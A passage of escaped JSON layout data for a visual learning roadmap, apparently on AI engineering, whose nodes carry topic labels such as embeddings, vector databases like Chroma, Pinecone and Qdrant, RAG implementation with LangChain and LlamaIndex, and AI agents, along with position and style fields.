\"y\": 2125.0927158417944\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"l6priWeJhbdUD5tJ7uHyG\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 62.71396345748872,\n        \"y\": 1980.4687120415522\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Open AI Embeddings API\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"tt9u3oFlsjEMfPyojuqpc\"\n      },\n      \"zIndex\": 999,\n      \"width\": 265,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 265,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 62.71396345748872,\n        \"y\": 1980.4687120415522\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 265,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"y0qD5Kb4Pf-ymIwW-tvhX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 62.71396345748872,\n        \"y\": 1830.6426346064957\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Open AI Embedding Models\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"4GArjDYipit4SLqKZAWDf\"\n      },\n      \"zIndex\": 999,\n      \"width\": 265,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 265,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 62.71396345748872,\n        \"y\": 1830.6426346064957\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 265,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4GArjDYipit4SLqKZAWDf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 62.71396345748872,\n        \"y\": 1883.6426346064957\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Pricing Considerations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 265,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 265,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 62.71396345748872,\n        \"y\": 1883.6426346064957\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 265,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"apVYIV4EyejPft25oAvdI\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 62.5,\n        \"y\": 2216.727661473262\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Open-Source Embeddings\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"tt9u3oFlsjEMfPyojuqpc\"\n      },\n      \"zIndex\": 999,\n      \"width\": 279,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 279,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 62.5,\n        \"y\": 2216.727661473262\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 279,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ZV_V6sqOnRodgaw4mzokC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 134.93627316762456,\n        \"y\": 2063.3782051585886\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Sentence Transformers\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"dLEg4IA3F5jgc44Bst9if\"\n      },\n      \"zIndex\": 999,\n      \"width\": 265,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 265,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 134.93627316762456,\n        \"y\": 2063.3782051585886\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 265,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dLEg4IA3F5jgc44Bst9if\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 134.93627316762456,\n        \"y\": 2116.3782051585886\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Models on Hugging Face\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 265,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 265,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 134.93627316762456,\n        \"y\": 2116.3782051585886\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 265,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tt9u3oFlsjEMfPyojuqpc\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 62.5,\n        \"y\": 2268.2838160405004\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Vector Databases\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 279,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 279,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 62.5,\n        \"y\": 2268.2838160405004\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 279,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WcjX6p-V-Rdd77EL8Ega9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 62.5,\n        \"y\": 2358.7263937544244\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Purpose and Functionality\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 279,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 279,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 62.5,\n        \"y\": 2358.7263937544244\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 279,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dSd2C9lNl-ymmCRT9_ZC3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 73.27752658021024,\n        \"y\": 2464.8371549138815\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Chroma\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 128,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 128,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 73.27752658021024,\n        \"y\": 2464.8371549138815\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 128,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_Cf7S1DCvX7p1_3-tP3C3\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 204.27752658021024,\n        \"y\": 2464.8371549138815\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Pinecone\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 131,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 131,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 204.27752658021024,\n        \"y\": 2464.8371549138815\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 131,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"VgUnrZGKVjAAO4n_llq5-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 73.27752658021024,\n        \"y\": 2517.8371549138815\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Weaviate\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 128,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 128,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 73.27752658021024,\n        \"y\": 2517.8371549138815\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 128,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"JurLbOO1Z8r6C3yUqRNwf\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 204.27752658021024,\n        \"y\": 2517.8371549138815\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"FAISS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 131,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 131,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 204.27752658021024,\n        \"y\": 2517.8371549138815\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 131,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"rjaCNT3Li45kwu2gXckke\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 73.27752658021024,\n        \"y\": 2570.8371549138815\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"LanceDB\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 128,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 128,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 73.27752658021024,\n        \"y\": 2570.8371549138815\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 128,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"DwOAL5mOBgBiw-EQpAzQl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 204.27752658021024,\n        \"y\": 2570.8371549138815\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Qdrant\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 131,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 131,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 204.27752658021024,\n        \"y\": 2570.8371549138815\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 131,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"9kT7EEQsbeD2WDdN9ADx7\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 73.27752658021024,\n        \"y\": 2624.8371549138815\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Supabase\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 262,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 262,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 73.27752658021024,\n        \"y\": 2624.8371549138815\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 262,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"j6bkm0VUgLkHdMDDJFiMC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 73.27752658021024,\n        \"y\": 2677.8371549138815\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"MongoDB Atlas\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 262,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 262,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 73.27752658021024,\n        \"y\": 2677.8371549138815\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 262,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"HCuwQPBl48sRzdbxdf_E5\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 79.27391817001211,\n        \"y\": 2423.8371549138815\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Popular Vector DBs (pick one)\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 248,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 79.27391817001211,\n        \"y\": 2423.8371549138815\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"5TQnO9B4_LTHwqjI7iHB1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 72.71593368999282,\n        \"y\": 2787.1963926350054\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Indexing Embeddings\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 263,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 263,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 72.71593368999282,\n        \"y\": 2787.1963926350054\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 263,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ZcbRPtgaptqKqWBgRrEBU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 73.21593368999282,\n        \"y\": 2840.1963926350054\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Performing Similarity Search\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 262,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 262,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 73.21593368999282,\n        \"y\": 2840.1963926350054\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 262,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xsvdnT7BIbR_jAajTYDWw\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 86.27391817001211,\n        \"y\": 2743.7263937544244\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Implementing Vector Search\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 234,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 86.27391817001211,\n        \"y\": 2743.7263937544244\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 234,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"lVhWhZGR558O-ljHobxIi\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 520,\n        \"y\": 2268.2838160405004\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"RAG & Implementation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"W7cKPt_UxcUgwp8J6hS4p\"\n      },\n      \"zIndex\": 999,\n      \"width\": 221,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 221,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 520,\n        \"y\": 2268.2838160405004\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 221,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"GCn4LGNEtPI0NWYAZCRE-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 839.7247553252009,\n        \"y\": 2018.167205684323\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"RAG Usecases\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 296,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 296,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 839.7247553252009,\n        \"y\": 2018.167205684323\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 296,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qlBEXrbV88e_wAGRwO9hW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 839.7247553252009,\n        \"y\": 2071.167205684323\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"RAG vs Fine-tuning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 296,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 296,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 839.7247553252009,\n        \"y\": 2071.167205684323\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 296,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mX987wiZF7p3V_gExrPeX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 851.4069839913399,\n        \"y\": 2177.715898273103\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Chunking\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2jJnS9vRYhaS69d6OxrMh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 273,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 273,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 851.4069839913399,\n        \"y\": 2177.715898273103\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 273,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"grTcbzT7jKk_sIUwOTZTD\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 851.4069839913398,\n        \"y\": 2230.715898273103\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Embedding\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2jJnS9vRYhaS69d6OxrMh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 273,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 273,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 851.4069839913398,\n        \"y\": 2230.715898273103\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 273,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zZA1FBhf1y4kCoUZ-hM4H\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 851.4069839913398,\n        \"y\": 2283.715898273103\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Vector Database\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2jJnS9vRYhaS69d6OxrMh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 273,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 273,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 851.4069839913398,\n        \"y\": 2283.715898273103\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 273,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"OCGCzHQM2LQyUWmiqe6E0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 851.4069839913398,\n        \"y\": 2336.715898273103\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Retrieval Process\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2jJnS9vRYhaS69d6OxrMh\"\n      },\n      \"zIndex\": 999,\n      \"width\": 273,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 273,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 851.4069839913398,\n        \"y\": 2336.715898273103\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 273,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2jJnS9vRYhaS69d6OxrMh\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 851.4069839913398,\n        \"y\": 2389.715898273103\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Generation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 273,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 273,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 851.4069839913398,\n        \"y\": 2389.715898273103\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 273,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Bt536neIoWehPSHUB6l_n\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 906.2247553252009,\n        \"y\": 2137.0058206731997\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Implementing RAG\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"v9whDFmN8Wf3oKlaOtHMD\"\n      },\n      \"zIndex\": 999,\n      \"width\": 162,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 906.2247553252009,\n        \"y\": 2137.0058206731997\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 162,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"v9whDFmN8Wf3oKlaOtHMD\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 874.3356614935651,\n        \"y\": 2468.2465978906853\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Ways of Implementing RAG\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 226,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 874.3356614935651,\n        \"y\": 2468.2465978906853\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 226,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"WZVW8FQu6LyspSKm1C_sl\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 847.8356614935651,\n        \"y\": 2514.3420928710716\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Using SDKs Directly\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 279,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 279,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 847.8356614935651,\n        \"y\": 2514.3420928710716\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 279,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ebXXEhNRROjbbof-Gym4p\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 847.8356614935651,\n        \"y\": 2567.3420928710716\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Langchain\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"axwBe98SYWkguEwbMipIm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 133,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 133,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 847.8356614935651,\n        \"y\": 2567.3420928710716\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 133,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"d0ontCII8KI8wfP-8Y45R\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 984.8356614935651,\n        \"y\": 2567.3420928710716\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Llama Index\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"ebXXEhNRROjbbof-Gym4p\"\n      },\n      \"zIndex\": 999,\n      \"width\": 142,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 142,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 984.8356614935651,\n        \"y\": 2567.3420928710716\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 142,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"eOqCBgBTKM8CmY3nsWjre\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 520,\n        \"y\": 2393.7243958663935\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Open AI Assistant API\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"W7cKPt_UxcUgwp8J6hS4p\"\n      },\n      \"zIndex\": 999,\n      \"width\": 221,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 221,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 520,\n        \"y\": 2393.7243958663935\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 221,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"c0RPhpD00VIUgF4HJgN2T\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 78.5,\n        \"y\": 1098.8781089665497\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Replicate\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"n-Ud2dXkqIzK37jlKItN4\"\n      },\n      \"zIndex\": 999,\n      \"width\": 305,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 305,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 78.5,\n        \"y\": 1098.8781089665497\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 305,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"AeHkNU-uJ_gBdo5-xdpEu\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 533.3795624782034,\n        \"y\": 2739.3420928710716\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"AI Agents\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"W7cKPt_UxcUgwp8J6hS4p\"\n      },\n      \"zIndex\": 999,\n      \"width\": 221,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 221,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 